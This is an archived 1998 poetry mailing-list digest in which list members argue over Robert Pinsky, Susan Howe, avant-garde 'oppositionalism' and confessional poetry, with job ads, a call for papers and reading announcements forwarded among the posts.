As a young'un, for instance, my encounters with O'Hara were always - from my small-town-ontario vantagepoint - mediated by a misapprehension that lumped him w/ Ginsberg, Kerouac, Corso - which made me take his poems as spontaneous-bop-prosody, assume they were self-celebrating slapdashery, and not read more closely. It took till years later for me to revisit them and appreciate how much F.O'H's version of extasy was self-subverting, rather than simple Beat machojaculation as I'd thought. The all-too-easy miscontextualization slowed down what I coulda gained and where I coulda gone.

By contrast, as a Canuck undergrad, I became aware reasonably early on of the Canadian exemplars of outside-the-lines writing - bp nichol, Chris Dewdney (before he let himself be swallowed in the techno-hipoisie), some of Michael

Ondaatje, eventually even Paul Dutton, Steve McCaffery, Karen MacCormack, who happened to do a reading in Montreal when I was there. But since nobody-butme seemed to notice or talk about these people, they only half-existed. I was left to assume for years that they were random mutations in the Canadian wild, not connecting them to their forerunners and contemporaries south of the border and therefore not really Getting much of what they were about. I couldn't even have articulated why I liked them, at the time, having no broader poetics, no figure-to-ground relationship, to refer to.

Sure, it was inevitable, after all that, that I'd eventually figure it out. But then I was dedicated to the attempt. Lately I've had letters from friends from those old periods, with whom I'd fallen out-of-touch, and they'll quote stuff like Pinsky to me with delicate reverence -- not, Michael, because they are Pinsky, but in a sentiment of we-always-liked-poetry-didn't-we-? and that's all they've stumbled on since. I'm not about to laugh or argue at them, but the distance apart is certainly emphasized at such moments.

I see no reason why those same people couldn't get into Howe. They're smart enough. But to alter the dynamic would take changes in, for instance, how Howe gets talked-up by publishers and brought into a public sphere. Eg., what living poet can we name who'd *want* to be Laureate whom we'd *like* to be Laureate? (Same reason there are no politicians worth voting for, btw.) At least Pinsky works the job hard, if with excess gravit-ass.

As well there'd have to be a change in the Other Tradition's self-image. The question of opposition is fraught: kneejerk oppositionalism reads to the outsider as "we're against people like YOU, you Pinsky-pinching pantywaist." No wonder they don't rush to buy up the whole Sun & Moon backlist. On the other hand, if aesthetic oppositionalism values itself as invisible but perpetual counterweight, as may be true, then there's no use complaining about minoritarian status and treating that as odd or inexplicable.

carl patrick wilson

↑ Index

794. **Pritchett,Patrick**

FW: Contemp. Women's Poetry & the Tradition (1/5; ALA, 5/27-5/30)

Tue 24 Nov 1998

Of use? If not, w.p.b.

> *-----Original Message-----*
> *From: Lisa Sewell [SMTP:[redacted]]*
> *Sent: Monday, November 23, 1998 1:34 PM*
> *To: [redacted]*
> *Subject: CFP: Contemp. Women's Poetry & the Tradition (1/5; ALA,*

> *5/27-5/30)*
>
> *I am interested in organizing a panel on women's poetry for the upcoming American Literature Association conference in Baltimore, May 27-30. My idea for the panel is to contextualize the work of contemporary women poets within the larger tradition of twenieth century poetry. If contemporary women poets have inscribed their own tradition, what are its characteristics? How do women poets rewrite, reject or conform to conceits that are central to our understanding of the tradition. All theoretical approaches, but papers that make use of theories of women's writing are especially encouraged.*
> *Please send or email abstracts only to Professor Lisa Sewell, Deparment of English, Villanova University, Villanova, PA 19085.*
> [redacted]*. by January 5, 1999.*
>
> *Please note: I will be choosing papers that seem to make up the best, most coherent panel, and sending in a proposal to the Association of American Literature. Panel proposals are due Jan. 30, so I need to get all the submissions by the beginning of the month.*
>
> ==========
> *From the Literary Calls for Papers Mailing List*
> [redacted]
> *Full Information at*
> *http://www.english.upenn.edu/CFP/*
> *or write Erika Lin:* [redacted]
> ==========

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795. **Mark Prejsnar**
once again, knee-jerks all around
Tue 24 Nov 1998

On Tue, 24 Nov 1998, Carl Wilson wrote:

> *As well there'd have to be a change in the Other Tradition's self-image. The question of opposition is fraught: kneejerk oppositionalism reads to the outsider as "we're against people like YOU, you Pinsky-pinching pantywaist." No wonder they don't rush to buy up the whole Sun & Moon backlist. On the other hand, if aesthetic oppositionalism values itself as invisible but perpetual*

Carl Wilson's post was really thoughtful and fascinating. However we really have had enuff i think of this "knee-jerk" bizness.

There is a chronic, hand-wringing self-doubt among people whose poetics put'em outside the mainstream, that tends to manifest itself in repeated use of phraseology like that quoted above. In 1997 and 1998 there were several

"dialogues" in different mags, in which poets castigated themselves and their peers for "knee-jerk experimentalism;" i found this so peculiar and misdirected a tendency that i subtitled a whole issue of the magazine i edit, "Special knee-jerk experimentalism issue."

In my experience, there really isn't quite as much bullying of Pinskites as the above seems to declare. Why, i haven't beaten anyone up for reading Lowell or Pinsky for, jeeez, it must be 4 or 5 months...

swaggeringly,
Mark

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796. david bromige
Carl Wilson's question
Tue 24 Nov 1998

> *. Eg., what living*
> *poet can we name who'd *want* to be Laureate whom we'd *like* to be Laureate?*

Charles Bernstein. Ron Silliman. Lyn Hejinian. Leslier Scalapino. Barrett Watten. Bob Perelman. Robert Grenier. (More to the point, how about Grenier replace Letterman and the Late Night Show replace movie stars with counter-culture poets? --I entirely agree with Carl Wilson, people are smart enough, they only require exposure : to echo EP,

The thought of what America would be like [x 3]
if Bob Grenier was in charge of the Late Show
ah well, it troubles my sleep.

And it would disturb America's sleep for good. [Fond as I am of Paul Schaeffer, I think he should be replaced by Larry Ochs and the Rova Quartet].)

db3

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797. Poetics List
Two Tenure Track Jobs (fwd)
Tue 24 Nov 1998

F.Y.I.

---------- Forwarded message ----------
Date: Tue, 24 Nov 1998 14:25:25 -0500
From: Rachel Blau DuPlessis <[redacted]>
To: [redacted]
Subject: Two Tenure Track Jobs

Subject: Two Tenure Track Jobs

Dear Listafarians: I am sorry that my posting of the following may have historical layers that I don't and didn't control, but I wanted you all to know the following, which was just announced to us: Temple University, Department of English Two Provost Authorized Assistant Professor tenure-track positions 1) Creative Writing, with expertise in poetry and creative non-fiction (memoir, autobiography, poetics, etc.). Ph.D. or MFA in hand by September 1, 1999; 2) Professional and Organizational Writing, with expertise in business and technical writing, global corporate and institutional discourses, writing program pedagogy. Ph.D. in hand or by September 1, 1999. Additional expertise in British or Anglophone litertures (1700 to the present) preferred for both positions. Evidence of strong scholarly/ creative potential and strong teaching credentials expected for both positions. Top candidates will be interviewed during campus visit early in Spring 1999 semester. Appointments will be made by the end of February 1999. Please send letter of application, C.V., writing sample, and at least two letters of reference, by January 10, 1999, to Daniel T. O'Hara, Chair, department of English, Temple University, 1114 W. Berks Street, Philadelphia, PA 19122-6090. Temple University is an Equal Opportunity Employer. That is the official wording of our job announcement. Thanks for your attention. Rachel Blau DuPlessis ========== Rachel Blau DuPlessis Temple University Philadelphia, PA 19122 [redacted] ========== Rachel Blau DuPlessis Temple University Philadelphia, PA 19122 [redacted]

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798. Maria Damon (Maria Damon)

Re: outtake from preparing _whether hotel_ for PERFORATIONS

Tue 24 Nov 1998

:
m i s p e l l e d nomad
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↑ Index

799. **Carl Wilson**
Re: once again, knee-jerks all around
Tue 24 Nov 1998

At the risk of being kneejerk myself, a quick response to Mark P's response:

I wrote:
>The question of opposition is fraught: kneejerk oppositionalism reads to the
> outsider as "we're against people like YOU, you Pinsky-pinching pantywaist."
>No wonder they don't rush to buy up the whole Sun & Moon backlist. On the
>other hand, if aesthetic oppositionalism values itself as invisible but
>perpetual counter... (etc)

And Mark said:
> we really have had enuff i think of this "knee-jerk" bizness...
>In my experience, there really isn't quite as much bullying of Pinskites
>as the above seems to declare. Why, i haven't beaten anyone up for
>reading Lowell or Pinsky for, jeeez, it must be 4 or 5 months...

Point taken, but it was a problem of syntax not intent - I should have said, "oppositionalism tends to be read **from outside** as kneejerk, as indiscriminate in its target practice and so (to venture the word) intolerant." That is, not that it is kneejerk, but that people's natural fear of exclusion and inaccess creates the expectation. That doesn't make loyalty to an anti-tradition less valuable, but it does make it "fraught." Inherent in the attempt to-boldly-go beyond outlying frontiers is that there'll be a public-relations gap. I think the Other Tradition could use more genial popularizers, but I think there's been evidence in this discussion of some bitters over what's pop and what's not. Which is kinda disingenuous or at least unrealistic.

Carl

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800. **Carmen Butcher**
Thanks Hilton Obenzinger
Tue 24 Nov 1998

Your intolerant and articulate paragraph was much appreciated by this poetry enthusiast, also near Stanford. Cheers, Carmen Butcher

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801. **Mark Weiss**
Re: Stern and Pinsky
Tue 24 Nov 1998

Frde--my take on this exactly. What I found most curious was Stern's attempts to elucidate the hidden imagery in the poems--at one point a poem refers to an animal's grey whiskers, and we're apparently supposed to divine that that's a reference to hasidim. If so, it's more opaque than Zukofsky. That said, the poems were at least more interesting than Pinsky, altho the camera presence was simply cruel.

At 03:00 PM 11/24/98 -0400, you wrote:
>>Did anyone catch the mewling Gerald Stern (not the howling Howard) on
>>the News Hour last night? Holding up the copy of his book-award winning
>>volume like a box of Bisquick? Reading the most banal poems with what
>>one could only call a respiratory tic?
>>
>>If it comes to this, please let us have the dashing, mellifluous, dare I
>>say sexy, Mr. Pinsky as the representative of American poetry on the
>>News Hour. However much we might prefer not to read his poetry, let's
>>not pass over the fact that an engaging spokesperson probably "sells"
>>more Americans on the pleasures of poetry than the unattractive,
>>self-congratulating, boorish, and uninteresting Mr. Stern.
>>
>>Joseph Conte
>>
>Actually, I just thought Stern (whose popularity and reputation I've never
>been able to fathom) looked befuddled, tentative, out-of-his-element, as
>most 70-something folks unaccustomed to being on television might be. His
>attempt to hold his book up to the camera only succeeded in catching the
>white glare of the studio lights, obscuring the cover entirely. It was
>just embarassing. And sad. What I found more irritating were the host's
>(can't remember her name) attempts to ask penetrating questions
>("Now...what _about_ that tortoise?") that only reminded me of a high
>school English teacher trying lamely to rouse a snoozing class. Almost made
>me run out of the room like a hare. Like a hare. Like a hare.
>
>Still wasn't enough to make me wish for Pinsky, though.
>
>-- Fred M.
>
>**********
>Fred Muratori

>([redacted])
>Reference Services Division
>Olin * Kroch * Uris Libraries
>Cornell University
>Ithaca, NY 14853
>WWW: http://fmref.library.cornell.edu/spectra.html
>**********
>
>

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802. **R.Gancie/C.Parcelli**
Re: enough already!
Tue 24 Nov 1998

I haven't had much stake in this discussion being one of those outmoded individuals who feel that the potentialities of modernism have either been abandoned or betrayed for the lesser idioms, but let me provide some raw data from the realm of commerce e. g. my bookstore. Anyone who's been here will attest to the fact that we maintain the best selection of USED poetry in Washington, DC, just as Rod Smith at Bridge Street has the best new selection. Our selection is so good because we are insiders--that is we know something about poetry. Not from a published critical standpoint (that was a cheap shot from Perloff though Gudding's knowledge seems to be exceptionally limited, so why bother with him) but from our reading and writing and, of course, public discourse-much of which takes place in the store. Pinsky fans to paraphrase Eliot cannot bear too much reality, at least as regards their poetic tastes. They generally are reluctant to provide an exegesis of what they are reading. They admire the clarity of a Pinsky, Stern, Graham, Hass et al. and often that's all they require. If they write reviews for the papers or blurbs for books the word that always appears is 'accessibility'. The Georgians used to call it 'perspicuity'. They associate accessibility with universality and by extension regard their own condition as template for the rest of the world. This has been called 'liberal' or 'bourgeois'. They find my decades long modernist passion for ruminating and writing upon and through Europoean transcendental philosophy, the philosophy of science and technology and American history among other subjects to be utterly extraneous to what they "look for in poetry" and downright intimidating. Some, because I engage them concerning their poetic tastes, have stopped coming to my store or only come when they can feel certain I will not be there. They are less likely to be poets themselves than those in the Susan Howe camp (if I may be allowed to carry forward these crude distinctions and general observations.) The Susan Howe requesters are decidedly from a smaller coterie and less

connected to people who read "poetry for pleasure." Like most underdogs, as they perceive themselves, they are more likely to be willing to engage in theoretical discourse, trying to hammer home their own position. They also are more inclined to read poetry to establish for themselves a sense of poetic-historical continuity. Pleasure does not appear to be their primary motivation. If you link pleasure and consumption, like I'm forced to do everyday as a merchant, you can draw some distinctions (possibly worthless) between two generalized though hotly perceived approaches to poetry. I like to watch sales anomalies at the store. It relieves some of the banality and boredom of operating a business. One such phenomenon surrounds T.S. Eliot and the popularity of the Broadway musical Cats based on Eliot's Old Possum's Books of Practical Cats. Apparently after seeing Cats, many people who either read no poetry or very little went out and purchased the Complete Poems and Plays of Ol' Possum. Then finding there was more to Eliot than anthropomorphised animals, they dumped unread mint copies on the used market. It was also a Book of the Month Club selection. But even though I've bought perhaps several dozen copies of the Eliot, I'm often, as now, sold out. Anyone serious about poetry buys one; but so do many people who read poetry for pleasure. Eliot is one of the most 'accessible'. That's why he is treated with some deference, say, by journalists at the Washington Post who have nothing but smug dismissiveness for Pound, Joyce, Olson and Duncan. The Post was in a tizzy over the recent promotion of Ulysses as the 20th century's greatest novel because they, being the full measure of all discourse, literary political and otherwise, could not understand it. I had just with great pleasure and much thoughtful exegesis and criticism for help just finished Finnegans Wake. But my quite natural and superior knowledge of Joyce would never land me a review much less a job at the Post or anywhere else because I have a natural inclination away from what Altieri calls the melodramatic, and a natural affinity for texts that take me out of myself so I'm confronted with new worlds of information. A "CLOSE READING" of Eliot might reveal an element of a perceived gap between whatever was the perceived gap in the flurry of postings above. I've got to draw the line at praise for Vendler. I can appreciate the scholarship but some of the "twisty thoughts" she has to invoke to make a case for say, Jorie Graham go way, way ,way beyond the pale. Bloom's writing on the other hand was useful to me when I was a young know- nothing punk, which is the way I'm sure Dr. Perloff remembers me. I can still recite every recorded Lenny Bruce routine by heart.---Carlo Parcelli

Marjorie Perloff wrote:
>
> Wow--I never expected to unleash such fury! If Gabriel G had paid
> attention to my first posting, he would have realized that I began by

> noting that Bob von H and I have just had quite a good dialogue on Howe
> and Pinsky with interesting pros and cons and I said there that I
> respected Bob's opinion very much as you'll see when that "dialogue"
> comes out! In the meantime, nothing like pouncing on the word
> "tolerance" and giving me the business.
>
> It's becoming tiresome. But I want to correct one thing David Kellogg
> said which is that "Marjorie separates political from aesthetic
> tolerance" etc. When the dialogue comes out, David, you'll see that my
> central caveat about the poem in question ("History of my Heart") is
> political--specifically, the patronizing treatment of the mother which I
> take to be quite sexist and smug. But then David loves to jump to
> conclusions!
>
> Another caveat I have is about the argument that New Directions, once
> Norton became its distributor, decided oh hell, might as well publish a
> new poet like Susan Howe. This is absurd because the issue would be:
> what new poets did they refuse to publish--a long list, some on this
> list and many of them women! So why did they prefer Howe? That would
> take a little bit of investigation, wouldn't it?
>
> What really troubles me is the endless name-calling here. When in
> doubt, compare Perloff to Bloom and Vendler --not that I mind that
> comparison since I have a lot of respect for both of them. Instead of
> taking up the challenge and looking at Pinsky's poetry (or Howe's)--the
> only person who did was Hilton O in a fabulous posting--we get endless
> slurs or bravos, etc. etc. It only proves my original point that the
> discourse has hit a real low! But then I'm afraid I don't know where
> Gabriel Gudding publishes his interesting commentaries. In what
> journals do they appear?
>
> xxx
> Marjorie

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803. **Laura Moriarty**
grin ear
Tue 24 Nov 1998

It's true. Bromige is right. Letterman is the fallen form of Bob Grenier. It's the same grimace - but Letterman's is frozen in place.

I've been away (from here) for awhile, but have a new chap book (Spicer's City/ by Poetry New York) to trade with anyone who has something and wants to trade. Backchannel me.

Laura

[redacted]
http://socrates.berkeley.edu/~moriarty/

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804. **MAYHEW**
Re: enough already!
Tue 24 Nov 1998

I love it! A bookstore owner who makes his clients feel embarrassed about their poetic tastes. They've got to sneak in for their academic poetry when he isn't there.

Jonathan

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805. **Mark Weiss**
Re: Pinsky
Tue 24 Nov 1998

I'm in substantial agreement, with a few demurs. First, it wouldn't hurt to take another look at Ginsberg and Kerouac. Minus the media hype they look a lot less slapdash etc. than you thought. 2nd, on oppositionalism: I don't know anyone who sits down to write a poem thinking about what isn't going to go onto the paper. Oppositionalist talk is another matter and I think is an expression of frustration, because it's not just bad public relations that keeps more interesting poetry out of the larger marketplace. And patience doesn't help much: Pound and Williams are barely accepted in that market, Zukofsky, Oppen and Niedecker are almost invisible, Spicer, despite the two new books, entirely so, and Creeley is also almost unknown compared to say Stephen Sandys or certainly Merrill. I wish I had a solution, but as long as the old guard maintains its grip on the wide-circulation magazines, the bulk of the award circuits, most creative writing departments, and the prestige sinecures we're not likely to see a whole lot of access offered to the other side for poetry readers who might be vulnerable to reeducation. The situation for all I know may be different in Canada because of its comparatively massive arts funding.

At 03:07 PM 11/24/98 EST, you wrote:
>((Pardon me for jumping in here all wet for the first time; we'll skip intros
>for the moment, though it may be useful to know I'm writing from Toronto.))

>
>While not agreeing with all his aesthetic shadowplays, i appreciated what
>Michael Magee had to say late yesterday on the Pinsky perplex: Yes, it's
>intriguing to consider why he has a readership that Susan Howe and all the
>howler monkeys we esteem haven't got. But it really is a matter of Who Exists to
>people who've not breached the fence and gone out searching in the wilderness -
>
>- whether that's from lack of passion/time or simply not having had a clue
>dropped in their faces that there's anything beyond the fence, any door in the
>Magrittean sky to exit tinytown culture - or, more likely, anything other than
>mistaking (as is easy for any urban youth) the so-called counterculture, the
>hip-and-dirty bohemia in the movies and off-hours of MTV, for the Other
>Tradition.
>
> As a young'un, for instance, my encounters with O'Hara were always - from my
>small-town-ontario vantagepoint - mediated by a misapprehension that lumped him
>w/ Ginsberg, Kerouac, Corso - which made me take his poems as
>spontaneous-bop-prosody, assume they were self-celebrating slapdashery, and not
>read more closely. It took till years later for me to revisit them and
>appreciate how much F.O'H's version of extasy was self-subverting, rather than
>simple Beat machojaculation as I'd thought. The all-too-easy
>miscontextualization slowed down what I coulda gained and where I coulda gone.
>
>By contrast, as a Canuck undergrad, I became aware reasonably early on of the
>Canadian exemplars of outside-the-lines writing - bp nichol, Chris Dewdney
>(before he let himself be swallowed in the techno-hipoisie), some of Michael
>Ondaatje, eventually even Paul Dutton, Steve McCaffery, Karen MacCormack, who
>happened to do a reading in Montreal when I was there. But since nobody-butme
>seemed to notice or talk about these people, they only half-existed. I was left

>to assume for years that they were random mutations in the Canadian wild, not
>connecting them to their forerunners and contemporaries south of the border and
>therefore not really Getting much of what they were about. I couldn't even have
>articulated why I liked them, at the time, having no broader poetics, no
>figure-to-ground relationship, to refer to.
>
>Sure, it was inevitable, after all that, that I'd eventually figure it out. But
>then I was dedicated to the attempt. Lately I've had letters from friends from
>those old periods, with whom I'd fallen out-of-touch, and they'll quote stuff
>like Pinsky to me with delicate reverence -- not, Michael, because they are
>Pinsky, but in a sentiment of we-always-liked-poetry-didn't-we-? and that's all
>they've stumbled on since. I'm not about to laugh or argue at them, but the
>distance apart is certainly emphasized at such moments.
>
>I see no reason why those same people couldn't get into Howe. They're smart
>enough. But to alter the dynamic would take changes in, for instance, how Howe
>gets talked-up by publishers and brought into a public sphere. Eg., what living
>poet can we name who'd *want* to be Laureate whom we'd *like* to be Laure-ate?
>(Same reason there are no politicians worth voting for, btw.) At least Pinsky
>works the job hard, if with excess gravit-ass.
>
>As well there'd have to be a change in the Other Tradition's self-image. The
>question of opposition is fraught: kneejerk oppositionalism reads to the
>outsider as "we're against people like YOU, you Pinsky-pinching pantywaist." No
>wonder they don't rush to buy up the whole Sun & Moon backlist. On the other
>hand, if aesthetic oppositionalism values itself as invisible but perpetual
>counterweight, as may be true, then there's no use complaining about
>minoritarian status and treating that as odd or inexplicable.
>
> carl patrick wilson

>
>

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806. **Eliza McGrand**
Re: enough already!
Tue 24 Nov 1998

ick. ms. perloff, i think better of you than your post would allow.

i started off on a literary criticism track, but got too annoyed to continue. i might go back there sometime -- they say age does wonders for patience and annoyance. but until i do, does that mean i don't get to publically comment on other writers? do i get to think about other writers about other writers if i don't publically comment? if i don't publically comment, and i promise to think only the thoughts of Important Literery Commenters, THEN do i get to think? is it thinking if it isn't my thoughts?

you see, this is all kind of a chicken and egg scenario -- if i can't think or publically comment until i amass a critical mass of articles in One Big Kahuna Review, how will i ever attain this mass, since any article in One Big K. R. is, in effect, a public comment and, one would hope, evidence of some sort of thinking?

no wonder i got too annoyed to continue.

yours from the unimportant club which is so unimportant it refuses to have members; i lift an upside down beer stein to the possible yet to be amassed (but not probably) pile of critical articles that will allow me to read and write critical articles...

e

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807. **David Kellogg**
Re: enough already!
Tue 24 Nov 1998

> *you see, this is all kind of a chicken and egg scenario -- if i can't think or publically comment until i amass a critical mass of articles in One Big Kahuna Review, how will i ever attain this mass, since any article in One Big K. R. is, in effect, a public comment and, one would hope, evidence of some sort of thinking?*

I saw the One Big Kahuna Review travelling company after the Las Vegas gig ran its course. Bloom and Perloff were quite good, but Vendler was having trouble with the high kicks, and her straw boater kept falling off. A low point was audience member Cary Nelson lobbing tomatoes at the stage.

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808. **Carl Wilson**
Re: Pinsky
Tue 24 Nov 1998

Mark Weiss writes:
>it wouldn't hurt to take another look at Ginsberg and Kerouac. Minus the
>media hype they look a lot less slapdash etc. than you thought.

yeah, both at their peaks have worthy cloudcover, though Ginsberg's peak was very short and Kerouac's plateau was long but very bumpy; still, both are worlds away from O'Hara's game, even if just-down-the-street (at another bar) at one point in time. my point was that there was a period in my reading life when i couldn't distinguish the diff, because "beat" was the sole discernible image from the burg where i wuz raised. the slurs on their writing were incidental to the story.

Mark's points on oppositionalism i agree with -- as i was saying, it's not a poetic problem, it's a public problem. -- but this:
>The situation for all I know may be different in Canada because of its comparatively massive arts funding.

?? nah.

first of all, the "massive funding" bit is a myth. our percentage of GDP support of arts is much smaller here than in Europe, it just looks big per capita from the States; but that's entirely outweighed by the fact that comparatively speaking there is *no* private-sector support for the arts in Canada, whereas the US has (despite what you'd think) an internationally exemplary level of arts-oriented philanthropy, conservative as it usually but not always is.

there are some 'nuck advantages in re: grant money, but even that's minor; the highprofile awards, readings, media attention etc all go to very conservative poetry here, too, with small exceptions. our Arts Councils are no more adventuresome than the NEA and often less. a couple of figures have broken through (the late bp nichol's a Toronto hero; Ondaatje was recognized for his experimental work, ie, Billy the Kid for instance, before he became a moviestar; 1 or 2 others) -- but not much more so than i'd say Creeley has. (he ain't famous but he's respected, known.) in Canada there are far fewer academic shelters, urban institutions, foundations, etc that promote poetry at all, much less "outside" poetry. if the playing field seems more level it may just be because it's all one big hole in the ground.

Carl

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809. **Aldon Nielsen**
this needful thing
Tue 24 Nov 1998

Michael B.!

I'm interested in the project you describe, but wonder about what appears to me an inescabaple epistemological problem --

I need poetry -- I'd like to say that everybody needs poetry --

but HOW are you going to figure out "what kind" of poetry any particular people might be properly said to need at any given time???? We can speak of what poetry they HAVE produced and/or read -- we can talk of the use they made of it,,,, we can look at what they have said about their own needs -- but how would we ever come to any kind of statement about X needed poetry of the type Y at Z point in time??????

I begin to think "need" isn't the right word?

what you think? (I'll be away till Monday,,,, but want to hear you on this)

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810. **Bob Grumman**
Re: enough already!
Tue 24 Nov 1998

I posted the message below early this morning to--I thought--the Buffalo Group, assuming the "Mail To" would automatically take it to Buffalo, the origin of the message I was replying to. I do this all the time. Anyway, my reply went to Marjorie Perloff only, so I am belatedly posting it again--even though Marjorie has already asnwered it to me personally. If she wants to post her answer to the group as a whole, I will answer it there--and try to send my answer where I want it to go.

What Marjorie said: "It only proves my original point that the discourse has hit a real low! But then I'm afraid I don't know where Gabriel Gudding publishes his interesting commentaries. In what journals do they appear?"

What I replied: "I thought the discourse reached a real low with Gabriel Gudding's first post--but it went significantly lower with Marjorie Perloff's last two sentences above. I think they're a pretty good epitomization of the term, "academic."

--Bob G.

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811. Eliza McGrand

one trip ticket to New American Poetry of the 80's/90's/forever?

Tue 24 Nov 1998

---

ok, a few months ago a friend of mine, c.e. chaffin ([redacted]) gave me a whooping up about a pet literary bug of his which i am afraid may have turned into a twainian "one trip ticket." i herewith pass it on in hopes i will come out the tunnel on the other side unbeset.

in summary that does no justice to c.e., he finds there to be a prevailing mode in modern poetry of first person, intimate address. poems start off as if narrator addressing best friend over a half-full beer glass and launch, forthwith, into personal woes. he has begun to find this annoying.

i brushed it off with an "oh c.e., what does it matter what case a writer chooses for the narrator of her or his poem? poems throughout history have been written in the first person, adn addressed that way to the reader." c.e. was not convinced.

i thought that was the end of it, a difference of opinion between writing chums. but as i read many of the poems moving across my screen, in zines, journals, anthologies, books, something began to bite a path from my ear to my brain... i opened up a variant of this discussion with another chum, r.j. mccaffery ([redacted]). we both discussed the navel-gazing feel of poems constantly fixated on "I..I..I" and how poem ABOUT ANOTHER PERSON, i.e. telling their story, felt less neurotic and self-absorbed, both as writer and as reader.

now during current discussion of robert pinsky, that bug in my ear set to whining in a high pitched mosquito noise. i got out my New American Poets of the 80's to read what there was of pinsky, as well as a couple of other sources. lo, it was the "I."

but even worse, the poem groupings excerpted of larry levis, mark doty, micheal burkard, mark jarman, denis johnson, robert long, steve orlen, greg pape, bin ramke, michael ryan, micheal sheridan, john skyoles, gary soto, maura stanton, david st. john, james tate, richard tillinghast, leslie ullman, michael waters, roger weingarten, .. god, i'll stop now. but the poems in their section, poems i've been reading from that era, poems i'm seeing lately, seem, way too often, to be these extended "here let me tell you about my sad self, my precious observations, my sensitive soul, what makes me feel X Y Z" or these vague, I Am Pronouncing epics wrapping the whole world up in a ball, covering it with tin foil, and shooting it into the corner in front of what is supposed to be an admiring crowd.

in short, they began to sound, to me, like a guy trying to get laid.

i admit, the latter image came from yet another source -- a friend saying "there is only one reason a guy dances in public -- he's trying to get laid." and he went on to describe the bravado, grope after rhythm, intent expression, bizarrely focused energy, of... well, of a guy trying to attain some of the proverbial.

and there is a long history, in poetry, of guys writing the things because they are trying to get laid. and of course, anthologies reflect the neurosis of the anthologists.

but listafarians, is it just me? yes, pinsky has gone on to write many other poems sounding nothing like an attempt to talk someone into the horizontal. but don't they, often, sound like, well... isn't it sort of an Iowa Writers Workshop sound, the earnest tortured and sincere confessional (and almost all of the writers in New American Poets ... seem, one way or another, to have an affiliation with Iowa W.W. All of them have an academic affiliation. most of them are male. doesn't that seem pretty fucked up for an anthology purporting to represent the best new american writing of hte 80's? and both of the anthologizers, jack myers and roger weingarten, included themselves! -- THAT to my mind is really self serving to the limit.)? isn't writing, from late 60's on, way too caught up in these personal monologues? i used to love sexton -- haven't dared open up one of her books lately... maybe one of the really experimental (and refreshing) things about langpo/pomo writing (and it's offspring) is a focus on something other than the earnest "I"?

r.j. had been particularly tryuing to sell me on thomas lux and stephen dobbyns. neither wallows in the earnest "I" -- they stick out in this anthology, for example, like anything.

comments? slingshot shots? flowers? horrified silence (elliza SHUT UP!)?

will someone, in four months, write with an insane twinge "one trip ticket, one trip ticket... all that earnest "I" can't they talk about something besides themselves or those sophmoric My View Of Life essays?"

shall i inflict quotes on you all to back this up -- i'm not sure i could stand it.

e

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812. Chicago Review

Peter Dale Scott in Chicago

Tue 24 Nov 1998

For those in the Greater Chicagoland Area:

Chicago Review is hosting a poetry reading by
Peter Dale Scott
Monday December 7 at 4:30 pm
Classics 10
1010 E. 59th St. on the University of Chicago campus.

Scott has recently completed a remarkable trilogy--Coming to Jakarta, Listening to the Candle, and Minding the Darkness--which mixes politics and autobiography, beginning with the 1965 slaughter of more than a half million Indionesians. His brilliant use of collage in the composition of a long poem is clearly in the tradition of Pound, if to very different ends. James Laughlin has said of the first volume in the trilogy: "Not since Robert Duncan's Groundwork and before that William Carlos Williams' Paterson has New Directions published a long poem as important as Coming to Jakarta."

The most recent issue of Chicago Review (44:3 & 4) features a special section on Scott's poem.

If anyone needs directions, more information, etc. feel free to e-mail me.

Devin Johnston

^^^^^^^^^^^^^^^

Chicago Review
The University of Chicago
5801 South Kenwood Avenue
Chicago IL 60637
ph/fax: [redacted]
e-mail: [redacted]

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813. **Karen Kelley**
Re: what isn't going to go onto the paper
Tue 24 Nov 1998

> *I don't know anyone who sits down to write a poem*
> *thinking about what isn't going to go onto the paper.*

That's *exactly* what new workshoppers do. And for a Pinsky- (and his ilk) induced reason: They see something like the NYRB Pinsky & figure from the *prestigiousness* of the mag that the poem must be "good." But they also sense something's missing (duh...passion, engagement, etc.)--so lots of people go along thinking good poetry is a kind of bland hole, sensitively rendered.

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814. J Kimball
Deepening tolerance
Tue 24 Nov 1998

slogan-free poetics

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815. Tom Beard
Resumes & typography
Tue 24 Nov 1998

> *5). My current work-in-progress is (so far) entitled "_Times Roman_ vs. _Palatino_: A Study of the Influence of Fonts on Acceptance Rates at Leading Literary Journals, 1985-Present." (I could really use your thoughts on this one!)*

Actually, this doesn't sound too far away from something I'm working on: the use and significance of typography in literary journals & books. Not so much on the conscious use of layout by the poet, but on the decisions & assumptions made by editors.

Here at least, literary journals & small presses tend to fall into two camps:

1) Traditional "fine printing", "proper" typography: Garamond/Bembo/Minion/Baskerville/Bodoni, with small caps, old-style figures, ligatures etc. Chiefly from University presses, or those who want to be University presses.

2) Anti-slick, we-don't-give-a-fuck-how-it-looks, "anti-" typography: Times/Arial/Courier, layout according to Word's defaults. Either from those whose knowledge & resources truly don't allow for typographic niceties; or from those who are using this look as a conscious signifier for cheapness, urgency and the separation of form from content.

What's interesting is that no-one (with a few exceptions, such as "The Pander", which is a more general arts/culture/politics magazine) is aiming for a potential third approach: a consciously-designed "magazine" look, rather than either the linearity of an academic journal or the "Word default" look. It seems that layered type, Emigre fonts, blurring the line between type & image, and all the other tropes of contemporary design are reserved for skateboarding magazines and annual reports.

Another possible approach is represented by Alan Loney's "A brief description of the whole world". As an A4, photocopied, stapled mag, it has some of the elements of the "antislick" look. But since contributions are photocopied as is, there has been the opportunity for writers to control the look of their own pages. There's a lot of Times in there, as one might expect, but also a lot of visual work. Tony Green, John Geraets (are you still on the list, guys?) and Alan

Brunton have played around with typefaces & sizes; Wystan Curnow photocopied maps & telephone books; Michele Leggott has a subtle approach to leading and placement; others have used dot-matrix printers; and I've done a bit with Freehand and photocopiers. Interestingly, Loney's own editorials have been in justified Palatino: I would have expected Kis-Janson or perhaps Electra.

Anyway, while Gabriel intended it as a joke, there _is_ a lot to read into something like the choice of typeface. Fonts signify. If anyone has any examples from the US (or elsewhere) that choose other paths, I'd love to know.

Cheers,
Tom Beard.

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816. Keith Tuma
Camp R(I)P
Tue 24 Nov 1998

Michael writes:

> *Keith, don't tell me you didn't recognize this final line of mine below as tongue in cheek? Ain't I adressing your request for "some wit with the venom"? And, respectfully, did you read the rest of my post? I *have* in fact read von Hallberg's book as well as Pinsky's "Situation" albeit a while ago now. And, as I said about young readers, the resourceful reader can like almost anything b/c reading is a creative act: von H is one of these resourceful readers to be sure. I can do a lot with Pinsky myself, though in most cases I end by questioning his merit.*

